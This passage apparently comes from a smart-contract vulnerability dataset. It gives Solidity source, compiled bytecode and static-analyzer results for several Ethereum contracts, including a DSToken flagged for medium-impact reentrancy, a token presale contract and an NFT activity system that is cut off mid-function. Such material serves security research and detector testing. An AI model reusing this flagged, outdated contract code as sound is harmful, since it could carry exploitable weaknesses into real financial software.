// Copyright (C) 2017 DappHub, LLC pragma solidity ^0.4.11; contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint _allowance); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x * y; assert(x == 0 || z / x == y); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x * y; assert(x == 0 || z / x == y); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It&#39;s O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint256 supply) { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() constant returns (uint256) { return _supply; } function balanceOf(address src) constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) constant returns (uint256) { return _approvals[src][guy]; } function transfer(address dst, uint wad) returns (bool) { assert(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) returns (bool) { assert(_balances[src] >= wad); assert(_approvals[src][msg.sender] >= wad); _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) constant returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { assert (!stopped); _; } function stop() auth note { stopped = true; } function start() auth note { stopped = false; } } contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize function DSToken(bytes32 symbol_) { symbol = symbol_; } function transfer(address dst, uint wad) stoppable note returns (bool) { return super.transfer(dst, wad); } function transferFrom( address src, address dst, uint wad ) stoppable note returns (bool) { return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) stoppable note returns (bool) { return super.approve(guy, wad); } function push(address dst, uint128 wad) returns (bool) { return transfer(dst, wad); } function pull(address src, uint128 wad) returns (bool) { return transferFrom(src, msg.sender, wad); } function mint(uint128 wad) auth stoppable note { _balances[msg.sender] = add(_balances[msg.sender], wad); _supply = add(_supply, wad); } function burn(uint128 wad) auth stoppable note { _balances[msg.sender] = sub(_balances[msg.sender], wad); _supply = sub(_supply, wad); } // Optional token name bytes32 public name = ""; function setName(bytes32 name_) auth { name = name_; } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012157806307da68f514610146578063095ea7b31461015b57806313af40351461019157806318160ddd146101b057806323b872dd146101c3578063313ce567146101eb5780633452f51d146101fe5780635ac801fe1461022957806369d3e20e1461023f57806370a082311461025e57806375f12b211461027d5780637a9e5e4b146102905780638402181f146102af5780638da5cb5b146102da57806390bc16931461030957806395d89b4114610328578063a9059cbb1461033b578063be9a65551461035d578063bf7e214f14610370578063dd62ed3e14610383575b600080fd5b341561012c57600080fd5b6101346103a8565b60405190815260200160405180910390f35b341561015157600080fd5b6101596103ae565b005b341561016657600080fd5b61017d600160a060020a036004351660243561044a565b604051901515815260200160405180910390f35b341561019c57600080fd5b610159600160a060020a03600435166104ca565b34156101bb57600080fd5b610134610546565b34156101ce57600080fd5b61017d600160a060020a036004358116906024351660443561054c565b34156101f657600080fd5b6101346105ce565b341561020957600080fd5b61017d600160a060020a03600435166001608060020a03602435166105d4565b341561023457600080fd5b6101596004356105f2565b341561024a57600080fd5b6101596001608060020a0360043516610615565b341561026957600080fd5b610134600160a060020a0360043516610701565b341561028857600080fd5b61017d61071c565b341561029b57600080fd5b610159600160a060020a036004351661072c565b34156102ba57600080fd5b61017d600160a060020a03600435166001608060020a03602435166107a8565b34156102e557600080fd5b6102ed6107be565b604051600160a060020a03909116815260200160405180910390f35b341561031457600080fd5b6101596001608060020a03600435166107cd565b341561033357600080fd5b6101346108b1565b341561034657600080fd5b61017d600160a060020a03600435166024356108b7565b341561036857600080fd5b61015961092e565b341561037b57600080fd5b6102ed6109c4565b341561038e57600080fd5b610134600160a060020a03600435811690602435166109d3565b60075481565b6103c433600035600160e060020a0319166109fe565b15156103cc57fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a450506004805474ff0000000000000000000000000000000000000000191660a060020a179055565b60045460009060a060020a900460ff161561046157fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a46104c18585610b0a565b95945050505050565b6104e033600035600160e060020a0319166109fe565b15156104e857fe5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405160405180910390a250565b60005490565b60045460009060a060020a900460ff161561056357fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a46105c4868686610b76565b9695505050505050565b60065481565b60006105e983836001608060020a03166108b7565b90505b92915050565b61060833600035600160e060020a0319166109fe565b151561061057fe5b600755565b61062b33600035600160e060020a0319166109fe565b151561063357fe5b60045460a060020a900460ff161561064757fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a4600160a060020a0333166000908152600160205260409020546106c9906001608060020a038516610ccc565b600160a060020a033316600090815260016020526040812091909155546106f9906001608060020a038516610ccc565b600055505050565b600160a060020a031660009081526001602052604090205490565b60045460a060020a900460ff1681565b61074233600035600160e060020a0319166109fe565b151561074a57fe5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405160405180910390a250565b60006105e98333846001608060020a031661054c565b600454600160a060020a031681565b6107e333600035600160e060020a0319166109fe565b15156107eb57fe5b60045460a060020a900460ff16156107ff57fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a4600160a060020a033316600090815260016020526040902054610881906001608060020a038516610cd9565b600160a060020a033316600090815260016020526040812091909155546106f9906001608060020a038516610cd9565b60055481565b60045460009060a060020a900460ff16156108ce57fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a46104c18585610ce6565b61094433600035600160e060020a0319166109fe565b151561094c57fe5b600435602435808233600160a060020a031660008035600160e060020a0319169034903660405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a450506004805474ff000000000000000000000000000000000000000019169055565b600354600160a060020a031681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600030600160a060020a031683600160a060020a03161415610a22575060016105ec565b600454600160a060020a0384811691161415610a40575060016105ec565b600354600160a060020a03161515610a5a575060006105ec565b600354600160a060020a031663b70096138430856000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a039384166004820152919092166024820152600160e060020a03199091166044820152606401602060405180830381600087803b1515610ae857600080fd5b6102c65a03f11515610af957600080fd5b5050506040518051905090506105ec565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600160a060020a03831660009081526001602052604081205482901015610b9957fe5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482901015610bca57fe5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054610bfb9083610cd9565b600160a060020a038086166000818152600260209081526040808320339095168352938152838220949094559081526001909252902054610c3c9083610cd9565b600160a060020a038086166000908152600160205260408082209390935590851681522054610c6b9083610ccc565b600160a060020a03808516600081815260016020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b808201828110156105ec57fe5b808203828111156105ec57fe5b600160a060020a03331660009081526001602052604081205482901015610d0957fe5b600160a060020a033316600090815260016020526040902054610d2c9083610cd9565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d5b9083610ccc565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001929150505600a165627a7a72305820ed7330ee46d1fcf4a2ff5f3ae200782284790ff02b09a25ea256cdd72426a4930029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,744
0x42c17a7a27088f34b22e4ce814eecac230de1c7f
/** *Submitted for verification at Etherscan.io on 2020-08-27 */ pragma solidity =0.6.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Vote_Presale_1 { using SafeMath for uint256; bool seeded; address public admin; address constant public VOTE_ADDRESS = 0xdFb3051e710118BAfc4b3Bb2034728f73C1E62aB; address constant public WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 constant public VOTE_MAG = 1e9; uint256 constant public ETH_MAG = 1e18; uint256 constant public SEED_AMOUNT = 3800000 * VOTE_MAG; uint256 constant public RATE = 8000; modifier onlyAdmin() { require(admin == msg.sender); _; } modifier isSeeded() { require(seeded == true); _; } constructor() public { admin = msg.sender; } function seed() external onlyAdmin { TransferHelper.safeTransferFrom(VOTE_ADDRESS, msg.sender, address(this), SEED_AMOUNT); seeded = true; } function exchangeEthForTokens(uint256 _amount) external { uint256 ethAmount_ = _amount; uint256 voteBalance_ = IERC20(VOTE_ADDRESS).balanceOf(address(this)); uint256 voteAmount_ = (ethAmount_.mul(RATE)).div(VOTE_MAG); require(voteBalance_ >= voteAmount_, "PRESALE_1 ENDED"); TransferHelper.safeTransferFrom(WETH_ADDRESS, msg.sender, address(this), _amount); TransferHelper.safeTransfer(VOTE_ADDRESS, msg.sender, voteAmount_); } function withdraw() external isSeeded onlyAdmin { uint256 ethBalance_ = IERC20(WETH_ADDRESS).balanceOf(address(this)); TransferHelper.safeTransfer(WETH_ADDRESS, msg.sender, ethBalance_); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80633f7df3ff116100665780633f7df3ff14610110578063664e9704146101185780637d94792a14610120578063f1d156d714610128578063f851a440146101305761009e565b8063040141e5146100a35780630548fb2f146100c75780630989d71d146100e15780630a64f94d146101005780633ccfd60b14610108575b600080fd5b6100ab610138565b604080516001600160a01b039092168252519081900360200190f35b6100cf610150565b60408051918252519081900360200190f35b6100fe600480360360208110156100f757600080fd5b503561015b565b005b6100cf610295565b6100fe61029d565b6100ab610372565b6100cf61038a565b6100fe610390565b6100cf6103e2565b6100ab6103ee565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b660d80147225800081565b604080516370a0823160e01b81523060048201529051829160009173dfb3051e710118bafc4b3bb2034728f73c1e62ab916370a08231916024808301926020929190829003018186803b1580156101b157600080fd5b505afa1580156101c5573d6000803e3d6000fd5b505050506040513d60208110156101db57600080fd5b505190506000610207633b9aca006101fb85611f4063ffffffff61040216565b9063ffffffff61046416565b905080821015610250576040805162461bcd60e51b815260206004820152600f60248201526e14149154d0531157cc481153911151608a1b604482015290519081900360640190fd5b61027073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23330876104a6565b61028f73dfb3051e710118bafc4b3bb2034728f73c1e62ab3383610603565b50505050565b633b9aca0081565b60005460ff1615156001146102b157600080fd5b60005461010090046001600160a01b031633146102cd57600080fd5b604080516370a0823160e01b8152306004820152905160009173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2916370a0823191602480820192602092909190829003018186803b15801561032257600080fd5b505afa158015610336573d6000803e3d6000fd5b505050506040513d602081101561034c57600080fd5b5051905061036f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23383610603565b50565b73dfb3051e710118bafc4b3bb2034728f73c1e62ab81565b611f4081565b60005461010090046001600160a01b031633146103ac57600080fd5b6103d373dfb3051e710118bafc4b3bb2034728f73c1e62ab3330660d8014722580006104a6565b6000805460ff19166001179055565b670de0b6b3a764000081565b60005461010090046001600160a01b031681565b6000826104115750600061045e565b8282028284828161041e57fe5b041461045b5760405162461bcd60e51b81526004018080602001828103825260218152602001806108106021913960400191505060405180910390fd5b90505b92915050565b600061045b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061076d565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b6020831061052b5780518252601f19909201916020918201910161050c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461058d576040519150601f19603f3d011682016040523d82523d6000602084013e610592565b606091505b50915091508180156105c05750805115806105c057508080602001905160208110156105bd57600080fd5b50515b6105fb5760405162461bcd60e51b81526004018080602001828103825260248152602001806108316024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106106805780518252601f199092019160209182019101610661565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146106e2576040519150601f19603f3d011682016040523d82523d6000602084013e6106e7565b606091505b5091509150818015610715575080511580610715575080806020019051602081101561071257600080fd5b50515b610766576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b600081836107f95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107be5781810151838201526020016107a6565b50505050905090810190601f1680156107eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161080557fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220362cda1a58bbad888b3a8170f8aa1f0325a51aa1200c33527056ad05c075e35964736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,745
0xce26ead209ba9c7bf9f80312555834d81bf11a08
pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipTransferred(address previousOwner, address newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StorageBase is Ownable { function withdrawBalance() external onlyOwner returns (bool) { // The owner has a method to withdraw balance from multiple contracts together, // use send here to make sure even if one withdrawBalance fails the others will still work bool res = msg.sender.send(address(this).balance); return res; } } // owner of ActivityStorage should be ActivityCore contract address contract ActivityStorage is StorageBase { struct Activity { // accept bid or not bool isPause; // limit max num of monster buyable per address uint16 buyLimit; // price (in wei) uint128 packPrice; // startDate (in seconds) uint64 startDate; // endDate (in seconds) uint64 endDate; // packId => address of bid winner mapping(uint16 => address) soldPackToAddress; // address => number of success bid mapping(address => uint16) addressBoughtCount; } // limit max activityId to 65536, big enough mapping(uint16 => Activity) public activities; function createActivity( uint16 _activityId, uint16 _buyLimit, uint128 _packPrice, uint64 _startDate, uint64 _endDate ) external onlyOwner { // activity should not exist and can only be initialized once require(activities[_activityId].buyLimit == 0); activities[_activityId] = Activity({ isPause: false, buyLimit: _buyLimit, packPrice: _packPrice, startDate: _startDate, endDate: _endDate }); } function sellPackToAddress( uint16 _activityId, uint16 _packId, address buyer ) external onlyOwner { Activity storage activity = activities[_activityId]; activity.soldPackToAddress[_packId] = buyer; activity.addressBoughtCount[buyer]++; } function pauseActivity(uint16 _activityId) external onlyOwner { activities[_activityId].isPause = true; } function unpauseActivity(uint16 _activityId) external onlyOwner { activities[_activityId].isPause = false; } function deleteActivity(uint16 _activityId) external onlyOwner { delete activities[_activityId]; } function getAddressBoughtCount(uint16 _activityId, address buyer) external view returns (uint16) { return activities[_activityId].addressBoughtCount[buyer]; } function getBuyerAddress(uint16 _activityId, uint16 packId) external view returns (address) { return activities[_activityId].soldPackToAddress[packId]; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract HasNoContracts is Pausable { function reclaimContract(address _contractAddr) external onlyOwner whenPaused { Ownable contractInst = Ownable(_contractAddr); contractInst.transferOwnership(owner); } } contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract LogicBase is HasNoContracts { /// The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779); // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Reference to storage contract StorageBase public storageContract; function LogicBase(address _nftAddress, address _storageAddress) public { // paused by default paused = true; setNFTAddress(_nftAddress); require(_storageAddress != address(0)); storageContract = StorageBase(_storageAddress); } // Very dangerous action, only when new contract has been proved working // Requires storageContract already transferOwnership to the new contract // This method is only used to transfer the balance to owner function destroy() external onlyOwner whenPaused { address storageOwner = storageContract.owner(); // owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible require(storageOwner != address(this)); // Transfers the current balance to the owner and terminates the contract selfdestruct(owner); } // Very dangerous action, only when new contract has been proved working // Requires storageContract already transferOwnership to the new contract // This method is only used to transfer the balance to the new contract function destroyAndSendToStorageOwner() external onlyOwner whenPaused { address storageOwner = storageContract.owner(); // owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible require(storageOwner != address(this)); // Transfers the current balance to the new owner of the storage contract and terminates the contract selfdestruct(storageOwner); } // override to make sure everything is initialized before the unpause function unpause() public onlyOwner whenPaused { // can not unpause when the logic contract is not initialzed require(nonFungibleContract != address(0)); require(storageContract != address(0)); // can not unpause when ownership of storage contract is not the current contract require(storageContract.owner() == address(this)); super.unpause(); } function setNFTAddress(address _nftAddress) public onlyOwner { require(_nftAddress != address(0)); ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_NFC)); nonFungibleContract = candidateContract; } // Withdraw balance to the Core Contract function withdrawBalance() external returns (bool) { address nftAddress = address(nonFungibleContract); // either Owner or Core Contract can trigger the withdraw require(msg.sender == owner || msg.sender == nftAddress); // The owner has a method to withdraw balance from multiple contracts together, // use send here to make sure even if one withdrawBalance fails the others will still work bool res = nftAddress.send(address(this).balance); return res; } function withdrawBalanceFromStorageContract() external returns (bool) { address nftAddress = address(nonFungibleContract); // either Owner or Core Contract can trigger the withdraw require(msg.sender == owner || msg.sender == nftAddress); // The owner has a method to withdraw balance from multiple contracts together, // use send here to make sure even if one withdrawBalance fails the others will still work bool res = storageContract.withdrawBalance(); return res; } } contract ActivityCore is LogicBase { bool public isActivityCore = true; ActivityStorage activityStorage; event ActivityCreated(uint16 activityId); event ActivityBidSuccess(uint16 activityId, uint16 packId, address winner); function ActivityCore(address _nftAddress, address _storageAddress) LogicBase(_nftAddress, _storageAddress) public { activityStorage = ActivityStorage(_storageAddress); } function createActivity( uint16 _activityId, uint16 _buyLimit, uint128 _packPrice, uint64 